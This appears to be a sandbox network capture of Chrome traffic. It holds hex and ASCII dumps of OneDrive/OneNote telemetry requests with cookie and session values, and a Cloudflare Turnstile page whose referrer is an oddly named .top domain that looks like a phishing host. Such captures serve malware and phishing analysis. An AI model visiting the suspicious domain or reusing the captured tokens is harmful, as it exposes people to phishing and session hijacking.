2024-10-25 08:19:18 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49958	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:18 UTC	1038	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 190 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; ShCLSessionID=1729844349229_0.9147422252239774
2024-10-25 08:19:18 UTC	190	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 35 30 30 36 36 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 37 31 31 38 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 76 69 73 69 62 6c 65 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 35 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844350066,"L":[{"G":595957843,"T":7118,"M":"Page lifecycle: VisibilityChange_visible fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":5,"V":1}
2024-10-25 08:19:18 UTC	4645	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 2a4c9aff-868e-443a-83f1-780336b467cc X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00014BF8 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS10 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DM3PEPF00014BF8 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 5F357981C4EB49FCB824C2A68474C8D1 Ref B: DFW311000110029 Ref C: 2024-10-25T08:19:18Z Date: Fri, 25 Oct 2024 08:19:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49957	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:18 UTC	1038	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 186 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; ShCLSessionID=1729844349229_0.9147422252239774
2024-10-25 08:19:18 UTC	186	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 35 37 31 38 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 30 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 36 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844357188,"L":[{"G":595957843,"T":0,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":6,"V":1}
2024-10-25 08:19:18 UTC	4645	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: b05d0696-e0d4-4503-a672-4ea5809f9b5b X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5b&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C99 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 1FA6ECD72AED4998AE1AABEB7FBA53AF Ref B: DFW311000103011 Ref C: 2024-10-25T08:19:18Z Date: Fri, 25 Oct 2024 08:19:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49966	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:19 UTC	860	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:19 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26489 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:19 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 37 66 30 33 39 35 64 34 38 36 39 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8d80c7f0395d4869-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:19 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-10-25 08:19:19 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-10-25 08:19:19 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-10-25 08:19:19 UTC	1369	IN	Data Raw: 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f Data Ascii: nge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-o
2024-10-25 08:19:19 UTC	1369	IN	Data Raw: 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e Data Ascii: .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop-lin
2024-10-25 08:19:19 UTC	1369	IN	Data Raw: 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 7d 74 6f 7b 66 69 6c 6c 3a 23 66 Data Ascii: fset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1303}to{fill:#f
2024-10-25 08:19:19 UTC	1369	IN	Data Raw: 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b 68 65 69 Data Ascii: low:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-compact #logo{hei
2024-10-25 08:19:19 UTC	1369	IN	Data Raw: 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 Data Ascii: rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex-start;justif
2024-10-25 08:19:19 UTC	1369	IN	Data Raw: 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 Data Ascii: ext-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:3px;stroke-li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49961	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
